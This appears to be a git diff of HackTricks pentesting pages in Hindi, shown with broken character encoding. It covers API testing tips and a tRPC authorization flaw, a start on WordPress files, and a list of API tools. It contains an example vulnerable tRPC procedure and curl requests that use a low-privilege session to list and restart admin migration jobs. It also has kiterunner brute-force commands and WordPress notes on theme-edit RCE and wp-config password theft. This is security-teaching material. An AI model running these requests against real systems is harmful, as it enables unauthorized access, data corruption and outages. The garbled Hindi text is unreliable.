рдХрд░реЗрдВред -- **Advanced Parameter Techniques**: JSON рдкреЗрд▓реЛрдб рдореЗрдВ рдЕрдкреНрд░рддреНрдпрд╛рд╢рд┐рдд рдбреЗрдЯрд╛ рдкреНрд░рдХрд╛рд░реЛрдВ рдХреЗ рд╕рд╛рде рдкрд░реАрдХреНрд╖рдг рдХрд░реЗрдВ рдпрд╛ XXE рдЗрдВрдЬреЗрдХреНрд╢рди рдХреЗ рд▓рд┐рдП XML рдбреЗрдЯрд╛ рдХреЗ рд╕рд╛рде рдЦреЗрд▓реЗрдВред рд╡реНрдпрд╛рдкрдХ рдкрд░реАрдХреНрд╖рдг рдХреЗ рд▓рд┐рдП рдкреИрд░рд╛рдореАрдЯрд░ рдкреНрд░рджреВрд╖рдг рдФрд░ рд╡рд╛рдЗрд▓реНрдбрдХрд╛рд░реНрдб рд╡рд░реНрдгреЛрдВ рдХрд╛ рднреА рдкреНрд░рдпрд╛рд╕ рдХрд░реЗрдВред -- **Version Testing**: рдкреБрд░рд╛рдиреЗ API рд╕рдВрд╕реНрдХрд░рдг рд╣рдорд▓реЛрдВ рдХреЗ рдкреНрд░рддрд┐ рдЕрдзрд┐рдХ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВред рд╣рдореЗрд╢рд╛ рдХрдИ API рд╕рдВрд╕реНрдХрд░рдгреЛрдВ рдХреЗ рдЦрд┐рд▓рд╛рдл рдЬрд╛рдВрдЪреЗрдВ рдФрд░ рдкрд░реАрдХреНрд╖рдг рдХрд░реЗрдВред +- **SOAP/XML Vulnerabilities**: XXE vulnerabilities рдХрд╛ рдкрд░реАрдХреНрд╖рдг рдХрд░реЗрдВ, рд╣рд╛рд▓рд╛рдВрдХрд┐ DTD declarations рдЖрдо рддреМрд░ рдкрд░ рдкреНрд░рддрд┐рдмрдВрдзрд┐рдд рд╣реЛрддреЗ рд╣реИрдВред рдЕрдЧрд░ XML рд╡реИрдз рд░рд╣рддрд╛ рд╣реИ рддреЛ CDATA tags payload insertion рдХреА рдЕрдиреБрдорддрд┐ рджреЗ рд╕рдХрддреЗ рд╣реИрдВред +- **Privilege Escalation**: рд╡рд┐рднрд┐рдиреНрди privilege levels рдХреЗ рд╕рд╛рде endpoints рдХреЛ рдЯреЗрд╕реНрдЯ рдХрд░реЗрдВ рддрд╛рдХрд┐ unauthorized access рдХреА рд╕рдВрднрд╛рд╡рдирд╛рдУрдВ рдХрд╛ рдкрддрд╛ рдЪрд▓ рд╕рдХреЗред +- **CORS Misconfigurations**: CORS рд╕реЗрдЯрд┐рдВрдЧреНрд╕ рдХреА рдЬрд╛рдБрдЪ рдХрд░реЗрдВ рддрд╛рдХрд┐ authenticated sessions рд╕реЗ рд╣реЛрдиреЗ рд╡рд╛рд▓реЗ CSRF attacks рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╕рдВрднрд╛рд╡рд┐рдд exploitability рдХрд╛ рдкрддрд╛ рдЪрд▓ рд╕рдХреЗред +- **Endpoint Discovery**: рдЫрд┐рдкреЗ рд╣реБрдП endpoints рдЦреЛрдЬрдиреЗ рдХреЗ рд▓рд┐рдП API patterns рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВред fuzzers рдЬреИрд╕реЗ рдЯреВрд▓ рдЗрд╕ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ automate рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред +- **Parameter Tampering**: requests рдореЗрдВ parameters рдЬреЛрдбрд╝рдХрд░ рдпрд╛ рдмрджрд▓рдХрд░ unauthorized data рдпрд╛ functionalities рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рдХрд╛ рдкреНрд░рдпреЛрдЧ рдХрд░реЗрдВред +- **HTTP Method Testing**: рдЕрдирдкреЗрдХреНрд╖рд┐рдд рд╡реНрдпрд╡рд╣рд╛рд░ рдпрд╛ рд╕реВрдЪрдирд╛ disclosures рдЦреЛрдЬрдиреЗ рдХреЗ рд▓рд┐рдП request methods (GET, POST, PUT, DELETE, PATCH) рдмрджрд▓рдХрд░ рдЯреЗрд╕реНрдЯ рдХрд░реЗрдВред +- **Content-Type Manipulation**: parsing issues рдпрд╛ vulnerabilities рдХреА рдЬрд╛рдВрдЪ рдХреЗ рд▓рд┐рдП рдЕрд▓рдЧ-рдЕрд▓рдЧ content types (x-www-form-urlencoded, application/xml, application/json) рдХреЗ рдмреАрдЪ switch рдХрд░реЗрдВред +- **Advanced Parameter Techniques**: JSON payloads рдореЗрдВ рдЕрдирдкреЗрдХреНрд╖рд┐рдд data types рдХреЗ рд╕рд╛рде рдЯреЗрд╕реНрдЯ рдХрд░реЗрдВ рдпрд╛ XXE injections рдХреЗ рд▓рд┐рдП XML data рдХреЗ рд╕рд╛рде рдкреНрд░рдпреЛрдЧ рдХрд░реЗрдВред рд╡реНрдпрд╛рдкрдХ рдкрд░реАрдХреНрд╖рдг рдХреЗ рд▓рд┐рдП parameter pollution рдФрд░ wildcard characters рднреА рдЖрдЬрд╝рдорд╛рдПрдБред +- **Version Testing**: рдкреБрд░рд╛рдиреЗ API versions attacks рдХреЗ рд▓рд┐рдП рдЕрдзрд┐рдХ susceptible рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВред рд╣рдореЗрд╢рд╛ рдХрдИ API versions рдХреА рдЬрд╛рдБрдЪ рдФрд░ рдкрд░реАрдХреНрд╖рдг рдХрд░реЗрдВред -### **Tools and Resources for API Pentesting** +### Authorization & Business Logic (AuthN != AuthZ) тАФ tRPC/Zod protectedProcedure pitfalls -- [**kiterunner**](https://github.com/assetnote/kiterunner): API рдПрдВрдбрдкреЙрдЗрдВрдЯреНрд╕ рдЦреЛрдЬрдиреЗ рдХреЗ рд▓рд┐рдП рдЙрддреНрдХреГрд╖реНрдЯред рд▓рдХреНрд╖рд┐рдд APIs рдХреЗ рдЦрд┐рд▓рд╛рдл рдкрдереЛрдВ рдФрд░ рдкреИрд░рд╛рдореАрдЯрд░реЛрдВ рдХреЛ рд╕реНрдХреИрди рдФрд░ рдмреНрд░реВрдЯ рдлреЛрд░реНрд╕ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВред +рдЖрдзреБрдирд┐рдХ TypeScript рд╕реНрдЯреИрдХреНрд╕ рдЖрдорддреМрд░ рдкрд░ input validation рдХреЗ рд▓рд┐рдП tRPC рдФрд░ Zod рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реИрдВред tRPC рдореЗрдВ, `protectedProcedure` рдЖрдо рддреМрд░ рдкрд░ рдпрд╣ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рддрд╛ рд╣реИ рдХрд┐ request рдХреЗ рдкрд╛рд╕ рдПрдХ valid session рд╣реЛ (authentication), рд▓реЗрдХрд┐рди рдпрд╣ рд╕рдВрдХреЗрдд рдирд╣реАрдВ рджреЗрддрд╛ рдХрд┐ caller рдХреЗ рдкрд╛рд╕ рд╕рд╣реА role/permissions (authorization) рд╣реИрдВред рдЕрдЧрд░ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ procedures рд╕рд┐рд░реНрдл `protectedProcedure` рд╕реЗ gated рд╣реЛрдВ рддреЛ рдпрд╣ mismatch Broken Function Level Authorization/BOLA рдХрд╛ рдХрд╛рд░рдг рдмрдирддрд╛ рд╣реИред + +- Threat model: рдЕрдЧрд░ role checks рдореМрдЬреВрдж рдирд╣реАрдВ рд╣реИрдВ рддреЛ рдХреЛрдИ рднреА low-privileged authenticated user admin-grade procedures рдХреЛ рдХреЙрд▓ рдХрд░ рд╕рдХрддрд╛ рд╣реИ (рдЙрджрд╛., background migrations, feature flags, tenant-wide maintenance, job control)ред +- Black-box signal: `POST /api/trpc/.` endpoints рдЬреЛ basic accounts рдХреЗ рд▓рд┐рдП рд╕рдлрд▓ рд╣реЛрддреЗ рд╣реИрдВ рдЬрдмрдХрд┐ рдЙрдиреНрд╣реЗрдВ admin-only рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдПред Self-serve signups exploitability рдХреЛ рдХрд╛рдлреА рдмрдврд╝рд╛ рджреЗрддреЗ рд╣реИрдВред +- Typical tRPC route shape (v10+): JSON body рдЖрдорддреМрд░ рдкрд░ `{"input": {...}}` рдХреЗ рдЕрдВрджрд░ wrapped рд╣реЛрддреА рд╣реИред + +Example vulnerable pattern (no role/permission gate): +```ts +// The endpoint for retrying a migration job +// This checks for a valid session (authentication) +retry: protectedProcedure +// but not for an admin role (authorization). +.input(z.object({ name: z.string() })) +.mutation(async ({ input, ctx }) => { +// Logic to restart a sensitive migration +}), +``` +рд╡реНрдпрд╛рд╡рд╣рд╛рд░рд┐рдХ рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯреЗрд╢рди (black-box) + +1) рдПрдХ рд╕рд╛рдорд╛рдиреНрдп рдЕрдХрд╛рдЙрдВрдЯ рд░рдЬрд┐рд╕реНрдЯрд░ рдХрд░реЗрдВ рдФрд░ рдкреНрд░рдорд╛рдгреАрдХреГрдд рд╕рддреНрд░ рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ (cookies/headers). +2) тАЬlistтАЭ/тАЬallтАЭ/тАЬstatusтАЭ рдкреНрд░рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдмреИрдХрдЧреНрд░рд╛рдЙрдВрдб рдЬреЙрдмреНрд╕ рдпрд╛ рдЕрдиреНрдп рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рд╕рдВрд╕рд╛рдзрдиреЛрдВ рдХреЛ рд╕реВрдЪреАрдмрджреНрдз рдХрд░реЗрдВред +```bash +curl -s -X POST 'https:///api/trpc/backgroundMigrations.all' \ +-H 'Content-Type: application/json' \ +-b '' \ +--data '{"input":{}}' +``` +3) рдХрд┐рд╕реА рдЬреЙрдм рдХреЛ рдкреБрдирдГ рдЖрд░рдВрдн рдХрд░рдиреЗ рдЬреИрд╕реА рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдкреНрд░рд╛рдкреНрдд рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░реЗрдВ: +```bash +curl -s -X POST 'https:///api/trpc/backgroundMigrations.retry' \ +-H 'Content-Type: application/json' \ +-b '' \ +--data '{"input":{"name":""}}' +``` +Impact to assess + +- non-idempotent restarts рдХреЗ рдХрд╛рд░рдг рдбреЗрдЯрд╛ рдХрд░рдкреНрд╢рди: migrations/workers рдХреЛ рдПрдХ рд╕рд╛рде рдЪрд▓рд╛рдиреЗ рдкрд░ race conditions рдФрд░ рдЕрд╕рдВрдЧрдд рдЖрдВрд╢рд┐рдХ рдЕрд╡рд╕реНрдерд╛рдПрдБ рдмрди рд╕рдХрддреА рд╣реИрдВ (silent data loss, broken analytics)ред +- DoS via worker/DB starvation: рдмрд╛рд░-рдмрд╛рд░ рднрд╛рд░реА jobs рдЯреНрд░рд┐рдЧрд░ рдХрд░рдиреЗ рд╕реЗ worker pools рдФрд░ database connections рд╕рдорд╛рдкреНрдд рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВ, рдЬрд┐рд╕рд╕реЗ tenant-wide outages рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВред + +### **API Pentesting рдХреЗ рд▓рд┐рдП рдЙрдкрдХрд░рдг рдФрд░ рд╕рдВрд╕рд╛рдзрди** + +- [**kiterunner**](https://github.com/assetnote/kiterunner): API endpoints рдЦреЛрдЬрдиреЗ рдХреЗ рд▓рд┐рдП рдЙрддреНрдХреГрд╖реНрдЯред рдЗрд╕реЗ target APIs рдХреЗ рдЦрд┐рд▓рд╛рдл paths рдФрд░ parameters рдХреЛ scan рдФрд░ brute force рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВред ```bash kr scan https://domain.com/api/ -w routes-large.kite -x 20 kr scan https://domain.com/api/ -A=apiroutes-220828 -x 20 kr brute https://domain.com/api/ -A=raft-large-words -x 20 -d=0 kr brute https://domain.com/api/ -w /tmp/lang-english.txt -x 20 -d=0 ``` -- [**https://github.com/BishopFox/sj**](https://github.com/BishopFox/sj): sj рдПрдХ рдХрдорд╛рдВрдб рд▓рд╛рдЗрди рдЯреВрд▓ рд╣реИ рдЬрд┐рд╕реЗ **exposed Swagger/OpenAPI definition files** рдХреЗ рдСрдбрд┐рдЯ рдореЗрдВ рдорджрдж рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдбрд┐рдЬрд╝рд╛рдЗрди рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рдЬреЛ рд╕рдВрдмрдВрдзрд┐рдд API endpoints рдХреЗ рд▓рд┐рдП рдХрдордЬреЛрд░ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХреА рдЬрд╛рдВрдЪ рдХрд░рддрд╛ рд╣реИред рдпрд╣ рдореИрдиреБрдЕрд▓ рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреЗ рдкрд░реАрдХреНрд╖рдг рдХреЗ рд▓рд┐рдП рдХрдорд╛рдВрдб рдЯреЗрдореНрдкрд▓реЗрдЯ рднреА рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИред -- рдЕрддрд┐рд░рд┐рдХреНрдд рдЯреВрд▓ рдЬреИрд╕реЗ **automatic-api-attack-tool**, **Astra**, рдФрд░ **restler-fuzzer** API рд╕реБрд░рдХреНрд╖рд╛ рдкрд░реАрдХреНрд╖рдг рдХреЗ рд▓рд┐рдП рдЕрдиреБрдХреВрд▓рд┐рдд рдХрд╛рд░реНрдпрдХреНрд╖рдорддрд╛рдПрдБ рдкреНрд░рджрд╛рди рдХрд░рддреЗ рд╣реИрдВ, рдЬреЛ рд╣рдорд▓реЗ рдХреЗ рдЕрдиреБрдХрд░рдг рд╕реЗ рд▓реЗрдХрд░ рдлрдЬрд╝рд┐рдВрдЧ рдФрд░ рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреЗ рд╕реНрдХреИрдирд┐рдВрдЧ рддрдХ рдлреИрд▓реА рд╣реБрдИ рд╣реИрдВред -- [**Cherrybomb**](https://github.com/blst-security/cherrybomb): рдпрд╣ рдПрдХ API рд╕реБрд░рдХреНрд╖рд╛ рдЯреВрд▓ рд╣реИ рдЬреЛ рдЖрдкрдХреЗ API рдХрд╛ рдСрдбрд┐рдЯ OAS рдлрд╝рд╛рдЗрд▓ рдХреЗ рдЖрдзрд╛рд░ рдкрд░ рдХрд░рддрд╛ рд╣реИ (рдпрд╣ рдЯреВрд▓ рд░рд╕реНрдЯ рдореЗрдВ рд▓рд┐рдЦрд╛ рдЧрдпрд╛ рд╣реИ)ред +- [**https://github.com/BishopFox/sj**](https://github.com/BishopFox/sj): sj рдПрдХ command line tool рд╣реИ рдЬреЛ exposed Swagger/OpenAPI definition files рдХреЗ auditing рдореЗрдВ рдорджрдж рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдмрдирд╛рдпрд╛ рдЧрдпрд╛ рд╣реИ; рдпрд╣ рд╕рдВрдмрдВрдзрд┐рдд API endpoints рдХреЛ weak authentication рдХреЗ рд▓рд┐рдП рдЪреЗрдХ рдХрд░рддрд╛ рд╣реИред рдпрд╣ manual vulnerability testing рдХреЗ рд▓рд┐рдП command templates рднреА рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИред +- Additional tools like **automatic-api-attack-tool**, **Astra**, and **restler-fuzzer** API security testing рдХреЗ рд▓рд┐рдП tailored рдХрд╛рд░реНрдпрдХреНрд╖рдорддрд╛рдПрдБ рдкреНрд░рджрд╛рди рдХрд░рддреЗ рд╣реИрдВ, рдЬреЛ attack simulation, fuzzing рдФрд░ vulnerability scanning рддрдХ рдлреИрд▓реА рд╣реЛрддреА рд╣реИрдВред +- [**Cherrybomb**](https://github.com/blst-security/cherrybomb): рдпрд╣ рдПрдХ API security tool рд╣реИ рдЬреЛ OAS file рдХреЗ рдЖрдзрд╛рд░ рдкрд░ рдЖрдкрдХреЗ API рдХрд╛ audit рдХрд░рддрд╛ рд╣реИ (the tool written in rust). ### **рд╕реАрдЦрдиреЗ рдФрд░ рдЕрднреНрдпрд╛рд╕ рдХреЗ рд╕рдВрд╕рд╛рдзрди** -- **OWASP API Security Top 10**: рд╕рд╛рдорд╛рдиреНрдп API рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреЛ рд╕рдордЭрдиреЗ рдХреЗ рд▓рд┐рдП рдЖрд╡рд╢реНрдпрдХ рдкрдврд╝рд╛рдИ ([OWASP Top 10](https://github.com/OWASP/API-Security/blob/master/2019/en/dist/owasp-api-security-top-10.pdf)). -- **API рд╕реБрд░рдХреНрд╖рд╛ рдЪреЗрдХрд▓рд┐рд╕реНрдЯ**: APIs рдХреЛ рд╕реБрд░рдХреНрд╖рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рд╡реНрдпрд╛рдкрдХ рдЪреЗрдХрд▓рд┐рд╕реНрдЯ ([GitHub link](https://github.com/shieldfy/API-Security-Checklist)). -- **Logger++ рдлрд╝рд┐рд▓реНрдЯрд░**: API рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреА рдЦреЛрдЬ рдХреЗ рд▓рд┐рдП, Logger++ рдЙрдкрдпреЛрдЧреА рдлрд╝рд┐рд▓реНрдЯрд░ рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИ ([GitHub link](https://github.com/bnematzadeh/LoggerPlusPlus-API-Filters)). -- **API Endpoints рд╕реВрдЪреА**: рдкрд░реАрдХреНрд╖рдг рдЙрджреНрджреЗрд╢реНрдпреЛрдВ рдХреЗ рд▓рд┐рдП рд╕рдВрднрд╛рд╡рд┐рдд API endpoints рдХреА рдПрдХ рдХреНрдпреВрд░реЗрдЯреЗрдб рд╕реВрдЪреА ([GitHub gist](https://gist.github.com/yassineaboukir/8e12adefbd505ef704674ad6ad48743d))ред +- **OWASP API Security Top 10**: рд╕рд╛рдорд╛рдиреНрдп API рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреЛ рд╕рдордЭрдиреЗ рдХреЗ рд▓рд┐рдП рдЕрдирд┐рд╡рд╛рд░реНрдп рдкрдврд╝рд╛рдИ ([OWASP Top 10](https://github.com/OWASP/API-Security/blob/master/2019/en/dist/owasp-api-security-top-10.pdf)). +- **API Security Checklist**: APIs рдХреЛ secure рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рд╡реНрдпрд╛рдкрдХ checklist ([GitHub link](https://github.com/shieldfy/API-Security-Checklist)). +- **Logger++ Filters**: API рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреА hunting рдХреЗ рд▓рд┐рдП, Logger++ рдЙрдкрдпреЛрдЧреА filters рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИ ([GitHub link](https://github.com/bnematzadeh/LoggerPlusPlus-API-Filters)). +- **API Endpoints List**: testing рдХреЗ рдЙрджреНрджреЗрд╢реНрдп рд╕реЗ рд╕рдВрднрд╛рд╡рд┐рдд API endpoints рдХреА curated рд╕реВрдЪреА ([GitHub gist](https://gist.github.com/yassineaboukir/8e12adefbd505ef704674ad6ad48743d)). ## рд╕рдВрджрд░реНрдн - [https://github.com/Cyber-Guy1/API-SecurityEmpire](https://github.com/Cyber-Guy1/API-SecurityEmpire) +- [How An Authorization Flaw Reveals A Common Security Blind Spot: CVE-2025-59305 Case Study](https://www.depthfirst.com/post/how-an-authorization-flaw-reveals-a-common-security-blind-spot-cve-2025-59305-case-study) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/wordpress.md b/src/network-services-pentesting/pentesting-web/wordpress.md index f09de6a0b..f493801f6 100644 --- a/src/network-services-pentesting/pentesting-web/wordpress.md +++ b/src/network-services-pentesting/pentesting-web/wordpress.md @@ -4,49 +4,49 @@ ## рдмреБрдирд┐рдпрд╛рджреА рдЬрд╛рдирдХрд╛рд░реА -- **рдЕрдкрд▓реЛрдб рдХреА рдЧрдИ** рдлрд╝рд╛рдЗрд▓реЗрдВ рдЗрд╕реА рдЬрдЧрд╣ рдЬрд╛рддреА рд╣реИрдВ: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt` -- **Themes files can be found in /wp-content/themes/,** рдЗрд╕рд▓рд┐рдП рдЕрдЧрд░ рдЖрдк theme рдХреЗ рдХреБрдЫ php рдмрджрд▓рдХрд░ RCE рд╣рд╛рд╕рд┐рд▓ рдХрд░рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ рддреЛ рдЖрдк рд╢рд╛рдпрдж рд╡рд╣реА path рдЗрд╕реНрддреЗрдорд╛рд▓ рдХрд░реЗрдВрдЧреЗред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП: theme **twentytwelve** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╕рдордп рдЖрдк рдЗрд╕ рдлрд╝рд╛рдЗрд▓ рдХреЛ рдПрдХреНрд╕реЗрд╕ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) +- **рдЕрдкрд▓реЛрдб рдХреА рдЧрдИ** рдлрд╛рдЗрд▓реЗрдВ рдЬрд╛рддреА рд╣реИрдВ: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt` +- **рдереАрдо рдлрд╛рдЗрд▓реЗрдВ /wp-content/themes/ рдореЗрдВ рдорд┐рд▓рддреА рд╣реИрдВ,** рдЗрд╕рд▓рд┐рдП рдЕрдЧрд░ рдЖрдк рдереАрдо рдХреЗ рдХреБрдЫ php рдХреЛ рдмрджрд▓рдХрд░ RCE рдкреНрд░рд╛рдкреНрдд рдХрд░рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ рддреЛ рдЖрдк рд╢рд╛рдпрдж рдЙрд╕ рдкрде рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВрдЧреЗред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП: **theme twentytwelve** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЖрдк **404.php** рдлрд╝рд╛рдЗрд▓ рдореЗрдВ рдкрд╣реБрдБрдЪ рд╕рдХрддреЗ рд╣реИрдВ: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) -- **рдПрдХ рдФрд░ рдЙрдкрдпреЛрдЧреА URL рд╣реЛ рд╕рдХрддрд╛ рд╣реИ:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) +- **рдПрдХ рдФрд░ рдЙрдкрдпреЛрдЧреА url рд╣реЛ рд╕рдХрддрд╛ рд╣реИ:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) -- `wp-config.php` рдореЗрдВ рдЖрдк database рдХреЗ root password рдЬреИрд╕реА рдЬрд╛рдирдХрд╛рд░реА рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВред -- рдЬрд╛рдБрдЪ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд▓реЙрдЧрд┐рди paths: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_ +- **wp-config.php** рдореЗрдВ рдЖрдк рдбреЗрдЯрд╛рдмреЗрд╕ рдХрд╛ root рдкрд╛рд╕рд╡рд░реНрдб рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВред +- рдЬрд╛рдВрдЪрдиреЗ рдХреЗ рд▓рд┐рдП рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд▓реЙрдЧрд┐рди рдкрде: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_ -### **Main WordPress Files** +### **рдореБрдЦреНрдп WordPress рдлрд╛рдЗрд▓реЗрдВ** - `index.php` -- `license.txt` рдореЗрдВ рдЙрдкрдпреЛрдЧреА рдЬрд╛рдирдХрд╛рд░реА рд╣реЛрддреА рд╣реИ рдЬреИрд╕реЗ рдЗрдВрд╕реНрдЯреЙрд▓ рдХрд┐рдпрд╛ рдЧрдпрд╛ WordPress рдХрд╛ versionред -- `wp-activate.php` рдирдпрд╛ WordPress рд╕рд╛рдЗрдЯ рд╕реЗрдЯрдЕрдк рдХрд░рддреЗ рд╕рдордп рдИрдореЗрд▓ activation рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рд╣реЛрддрд╛ рд╣реИред -- Login рдлрд╝реЛрд▓реНрдбрд░ (рдЫрд┐рдкрд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдирд╛рдо рдмрджрд▓рд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ): +- `license.txt` рдореЗрдВ рдЙрдкрдпреЛрдЧреА рдЬрд╛рдирдХрд╛рд░реА рд╣реЛрддреА рд╣реИ рдЬреИрд╕реЗ рдЗрдВрд╕реНрдЯреЙрд▓ рдХреА рдЧрдИ WordPress рдХрд╛ рд╕рдВрд╕реНрдХрд░рдгред +- `wp-activate.php` рдХрд╛ рдЙрдкрдпреЛрдЧ рдирдП WordPress рд╕рд╛рдЗрдЯ рд╕реЗрдЯрдЕрдк рдХреЗ рд╕рдордп рдИрдореЗрд▓ рд╕рдХреНрд░рд┐рдпрдХрд░рдг рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЗ рд▓рд┐рдП рд╣реЛрддрд╛ рд╣реИред +- рд▓реЙрдЧрд┐рди рдлрд╝реЛрд▓реНрдбрд░реНрд╕ (рдЫреБрдкрд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдирд╛рдо рдмрджрд▓рд╛ рдЧрдпрд╛ рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВ): - `/wp-admin/login.php` - `/wp-admin/wp-login.php` - `/login.php` - `/wp-login.php` -- `xmlrpc.php` рдПрдХ рдлрд╝рд╛рдЗрд▓ рд╣реИ рдЬреЛ WordPress рдХреА рдЙрд╕ рд╕реБрд╡рд┐рдзрд╛ рдХреЛ рджрд░реНрд╢рд╛рддреА рд╣реИ рдЬреЛ HTTP рдХреЛ transport mechanism рдФрд░ XML рдХреЛ encoding mechanism рдХреЗ рд░реВрдк рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдбреЗрдЯрд╛ рдЯреНрд░рд╛рдВрд╕рдорд┐рдЯ рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рдмрдирд╛рддреА рд╣реИред рдЗрд╕ рддрд░рд╣ рдХреА рд╕рдВрдЪрд╛рд░ рд╡рд┐рдзрд┐ рдХреЛ WordPress рдХреЗ [REST API](https://developer.wordpress.org/rest-api/reference) рдиреЗ рдмрджрд▓ рджрд┐рдпрд╛ рд╣реИред -- `wp-content` рдлрд╝реЛрд▓реНрдбрд░ рдореБрдЦреНрдп рдбрд╛рдпрд░реЗрдХреНрдЯрд░реА рд╣реИ рдЬрд╣рд╛рдБ plugins рдФрд░ themes рд╕рдВрдЧреНрд░рд╣рд┐рдд рд╣реЛрддреЗ рд╣реИрдВред -- `wp-content/uploads/` рд╡рд╣ рдбрд╛рдпрд░реЗрдХреНрдЯрд░реА рд╣реИ рдЬрд╣рд╛рдБ рдкреНрд▓реЗрдЯрдлрд╝реЙрд░реНрдо рдкрд░ рдЕрдкрд▓реЛрдб рдХреА рдЧрдИ рдХреЛрдИ рднреА рдлрд╝рд╛рдЗрд▓реЗрдВ рд╕рдВрдЧреНрд░рд╣реАрдд рд╣реЛрддреА рд╣реИрдВред -- `wp-includes/` рдпрд╣ рд╡рд╣ рдбрд╛рдпрд░реЗрдХреНрдЯрд░реА рд╣реИ рдЬрд╣рд╛рдБ core рдлрд╝рд╛рдЗрд▓реЗрдВ рд╕рдВрдЧреНрд░рд╣реАрдд рд╣реЛрддреА рд╣реИрдВ, рдЬреИрд╕реЗ certificates, fonts, JavaScript рдлрд╝рд╛рдЗрд▓реЗрдВ, рдФрд░ widgetsред -- `wp-sitemap.xml` WordPress рдХреЗ version 5.5 рдФрд░ рдЙрд╕рд╕реЗ рдмрдбрд╝реЗ рдореЗрдВ, WordPress рд╕рднреА public posts рдФрд░ publicly queryable post types рдФрд░ taxonomies рдХреЗ рд╕рд╛рде рдПрдХ sitemap XML рдлрд╝рд╛рдЗрд▓ рдЬреЗрдирд░реЗрдЯ рдХрд░рддрд╛ рд╣реИред +- `xmlrpc.php` рдПрдХ рдлрд╝рд╛рдЗрд▓ рд╣реИ рдЬреЛ WordPress рдХреА рдПрдХ рд╕реБрд╡рд┐рдзрд╛ рдХреЛ рджрд░реНрд╢рд╛рддреА рд╣реИ рдЬреЛ HTTP рдХреЛ рдЯреНрд░рд╛рдВрд╕рдкреЛрд░реНрдЯ рдореИрдХреЗрдирд┐рдЬрд╝реНрдо рдФрд░ XML рдХреЛ рдПрдирдХреЛрдбрд┐рдВрдЧ рдореИрдХреЗрдирд┐рдЬрд╝реНрдо рдХреЗ рд░реВрдк рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдбреЗрдЯрд╛ рд╕рдВрдЪрд╛рд░ рд╕рдХреНрд╖рдо рдХрд░рддреА рд╣реИред рдЗрд╕ 